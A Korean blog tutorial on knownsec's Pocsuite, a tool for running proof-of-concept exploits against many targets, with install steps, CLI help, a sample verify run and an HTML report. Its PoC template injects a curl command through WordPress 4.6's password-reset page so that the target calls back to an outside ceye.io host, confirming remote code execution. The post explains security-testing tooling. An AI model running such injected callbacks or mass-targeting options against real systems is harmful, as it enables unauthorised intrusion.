knownsec에서 만든 Pocsuite라는 재미있는 툴(+라이브러리)이 있습니다. 활용하기에 따라 테스팅을 많이 편리하게 해줄 수 있는데요, 간략하게 소개해드릴까 합니다.
What is Pocsuite?
Pocsuite는 PoC 코드를 쉽게 테스트하기 위한 툴입니다. 보통 python, ruby 같은 스크립트로 PoC가 공개되곤 하는데, 이를 여러 대상에 대해 체크하고 결과를 확인하기엔 여간 귀찮죠.. 그래서 이 툴은 외부에 공개된 PoC에 코드를 추가하여 한번에 다수의 도메인을 테스트하고 관리할 수 있게 지원해줍니다. 당연히 라이브러리 기반이고 command line 명령을 지원합니다.
How to install & Use?
아래 git clone 받아서 직접 코드로 실행해도 되지만.. pip로 이미 올라와 있습니다. https://github.com/knownsec/Pocsuite
pip 통해 설치해줍시다. (requirement.txt엔 정의되진 않았지만 request도 의존합니다. 저건 어지간해선 있으시겠지만 혹시 모르니..)
# pip install pocsuite
# pip install requests
우선 PocSuite는 2가지 모드를 지원합니다. 하나는 command line, 하나는 interactive
[ Command Mode ]
# pocsuite
,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-' '-.,---. {2.0.8-nongit-20190103}
| .-. | .-. | .--( .-'| || ,--'-. .-| .-. :
| '-' ' '-' \ `--.-' `' '' | | | | \ --.
| |-' `---' `---`----' `----'`--' `--' `----'
`--' http://pocsuite.org
[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.
[*] starting at 04:36:34
[04:36:34] [-] No "url" or "urlFile" or "dork" assigned.
[ Interactive Mode ]
# pcs-console
,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-' '-.,---. {2.0.8-nongit-20190103}
| .-. | .-. | .--( .-'| || ,--'-. .-| .-. :
| '-' ' '-' \ `--.-' `' '' | | | | \ --.
| |-' `---' `---`----' `----'`--' `--' `----'
`--' http://pocsuite.org
Pocsuite>
Pocsuite>
Pocsuite>
Interactive Mode Options
Core Commands Menu (help <command> for details)
===============================================
attack Attack mode, sends exploit payload
back Move back from the current Interpreter
banner Display an awesome framework banner
debug Enter into python debug mode
exit Exit the current interpre
help Show help menu
pocadd Load available poc(s) from a directory or a file
pocdel Unload specific poc file(s)
poclist Show all available pocs / task pocs
seebug Download pocs from seebug with API Token
set Set key equal to value
show Show available options / modules
verify Verify Mode, checks if a vuln exists or not
Command Mode Options
optional arguments:
-h, --help Show help message and exit
--version Show program's version number and exit
--update Update Pocsuite
target:
-u URL, --url URL Target URL (e.g. "http://www.targetsite.com/")
-f URLFILE, --file URLFILE
Scan multiple targets given in a textual file
-r POCFILE Load POC from a file (e.g. "_0001_cms_sql_inj.py") or directory (e.g. "modules/")
mode:
--verify Run poc with verify mode
--attack Run poc with attack mode
request:
--cookie COOKIE HTTP Cookie header value
--referer REFERER HTTP Referer header value
--user-agent AGENT HTTP User-Agent header value
--random-agent Use randomly selected HTTP User-Agent header value
--proxy PROXY Use a proxy to connect to the target URL
--proxy-cred PROXYCRED
Proxy authentication credentials (name:password)
--timeout TIMEOUT Seconds to wait before timeout connection (default 30)
--retry RETRY Time out retrials times.
--delay DELAY Delay between two request of one thread
--headers HEADERS Extra headers (e.g. "key1: value1\nkey2: value2")
--host HOST Host in HTTP headers.
params:
--extra-params EXTRA_PARAMS
Extra params (e.g. "{username: '***', password: '***'}")
optimization:
--threads THREADS Max number of concurrent HTTP(s) requests (default 1)
--report REPORT Save a html report to file (e.g. "./report.html")
--batch BATCH Automatically choose defaut choice without asking.
--requires Check install_requires
--quiet Activate quiet mode, working without logger.
--requires-freeze Check install_requires after register.
Zoomeye or Seebug:
--dork DORK Zoomeye dork used for search.
--max-page MAX_PAGE Max page used in ZoomEye API(10 targets/Page).
--search-type SEARCH_TYPE
search type used in ZoomEye API, web or host
--vul-keyword VULKEYWORD
Seebug keyword used for search.
--ssv-id SSVID Seebug SSVID number for target PoC.
How to test with Pocsuite
위에 옵션 참고하면서 보심 좋습니다. 주요 옵션은 이렇습니다.
-r : poc file -u : url -f : url list file –verify : 취약 여부만 체크 –attack : 공격
우선 테스트를 위한 PoC 하나를 받아봅시다 (wordpress RCE이고 knownsec이 이미 Pocsuite 포맷으로 구성한 코드입니다. )
# wget https://raw.githubusercontent.com/knownsec/Pocsuite/dev/modules/wordpress_core_4_6_rce.py
# pocsuite -r 123.py -u http://192.168.0.13:3000 --verify
,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-' '-.,---. {2.0.8-nongit-20190103}
| .-. | .-. | .--( .-'| || ,--'-. .-| .-. :
| '-' ' '-' \ `--.-' `' '' | | | | \ --.
| |-' `---' `---`----' `----'`--' `--' `----'
`--' http://pocsuite.org
[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.
[*] starting at 04:49:24
[04:49:24] [*] checking WordPress Core 4.6 - Unauthenticated Remote Code Execution
[04:49:24] [*] poc:'WordPress Core 4.6 - Unauthenticated Remote Code Execution' target:'http://192.168.0.13:3000'
+---------------------------+----------+--------+-----------+---------+--------+
| target-url | poc-name | poc-id | component | version | status |
+---------------------------+----------+--------+-----------+---------+--------+
| http://192.168.0.13:3000 | 123 | 93077 | WordPress | 4.6 | failed |
+---------------------------+----------+--------+-----------+---------+--------+
success : 0 / 1
[*] shutting down at 04:49:28
이런식으로 정리된 결과를 볼 수 있습니다.
request 관련 옵션을 따로 줄 수 있는데, 활용하면 Custom한 HTTP Request를 생성할 수 있습니다.
--cookie COOKIE HTTP Cookie header value
--referer REFERER HTTP Referer header value
--user-agent AGENT HTTP User-Agent header value
--random-agent Use randomly selected HTTP User-Agent header value
--proxy PROXY Use a proxy to connect to the target URL
--proxy-cred PROXYCRED
Proxy authentication credentials (name:password)
--timeout TIMEOUT Seconds to wait before timeout connection (default 30)
--retry RETRY Time out retrials times.
--delay DELAY Delay between two request of one thread
--headers HEADERS Extra headers (e.g. "key1: value1\nkey2: value2")
--host HOST Host in HTTP headers.
인터렉티브도 비슷비슷합니다. msf랑 비슷하고 음.. 그냥 한번 해보심 딱 옵니다..
How to make PoC file for PocSuite
자 그럼 가장 중요한 부분인데요, 일반 PoC 코드를 PocSuite 적용에 대한 부분입니다. pocsuite가 라이브러리 형태로 제공되기 떄문에 python 코드단에서 import하여 사용할 수 있습니다.
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
그다음 가장 중요한 PoC Class를 생성해주고 register() 함수로 PoC를 등록해줍니다.
class TestPOC(POCBase):
name = ‘PoC 이름 '
vulID = ’Numbering'
author = [‘만든이!']
vulType = 'cmd-exec'
version = '1.0' # default version: 1.0
references = [‘msf module이랑 비슷.. 참조 링크']
desc = 'PoC에 대한 설명입니다.'
vulDate = '2013-02-14'
createDate = '2017-05-03'
updateDate = '2017-05-04'
appName = 'WordPress'
appVersion = '4.6'
appPowerLink = 'https://wordpress.org'
samples = ['']
# verify 시 결과 데이터를 어떻게 줄것인지 정의
def verify_result(self, flag):
url = "http://ceye.io/api/record?token=[YOUR CEYE TOKEN]&type=request&filter=wordpress"
match_string = "wordpress.YOU-CEYE-ACCOUNT.ceye.io/{0}".format(flag)
try:
resp = req.get(url, timeout=30)
if resp.content:
if match_string in resp.content:
return True
except Exception:
pass
return False
# 실제로 아래 attack, verify가 로직이 들어가는 부분이고
# 보통의 경우 원래 PoC 코드에서 트리거 시키는 부분을 넣어주 면 될 것 같습니다.
# attack 모드일 때 동작
def _attack(self):
"""attack mode"""
return self._verify()
# verify 모드일 때 동작
def _verify(self):
"""verify mode"""
result = {}
self.url = self.url + '/wp-login.php?action=lostpassword'
flag = "".join(random.choice(string.ascii_letters) for _ in xrange(0, 8))
flag = flag.lower()
cmd = "/usr/bin/curl wordpress.YOU-CEYE-ACCOUNT.ceye.io/{0}".format(flag)
resp = send_command(self.url, cmd)
time.sleep(2)
if self.verify_result(flag):
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
# 등록!
register(TestPOC)
길어보일 수 있으나 복잡한건 아닙니다. 기존 PoC 코드에서 실행 부분들(e.g. exploit, run 등등) 등을 뗴어내어서 인자값을 받도록 바꿔주고 class TestPOC(POCBase): 로 class 선언해서 verify. Attack 부분에 해당 부분을 트리거 해주면 됩니다. 위에 description, title등의 부분은 잘 해놓으면 나중에 보기 편리하겠죠.
Reports
output, report 포맷은 3rd party로 툴을 활용할 떄 중요시 보는 부분인데요, 안타깝게도 html 포맷만 지원합니다.. 그래도 결과를 가볍게 주는편이라 파싱하시는데 부담은 없을듯합니다.
--report REPORT Save a html report to file (e.g. "./report.html")
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<title></title>
<style type="text/css">
caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.result0{display:none}.result1{}.status{cursor: pointer;}
</style>
<script>
function showDetail(dom){
parent = dom.parentElement;
detail = parent.children[1];
if (detail == undefined){
return;
};
if (detail.className == 'result0'){
detail.className = 'result1';
}else{
detail.className = 'result0';
};
}
</script>
</head>
<body>
<div class="container">
<table class="table">
<thead>
<th>target-url</td> <th>poc-name</td> <th>poc-id</td> <th>component</td> <th>version</td> <th>status</td>
</thead>
<tbody>
<tr class='status' onclick='showDetail(this)'> <td>http://192.168.0.13:3000</td> <td>123</td> <td>93077</td> <td>WordPress</td> <td>4.6</td> <td>failed</td> </tr>
</tbody>
</table>
</div>
</body>
</html>
이럴만도 한 이유가 결국 python library로 제공된다는점인데요, 베스트는 퓨어코드로 그대로 쓰는게 아닐까 싶습니다 :)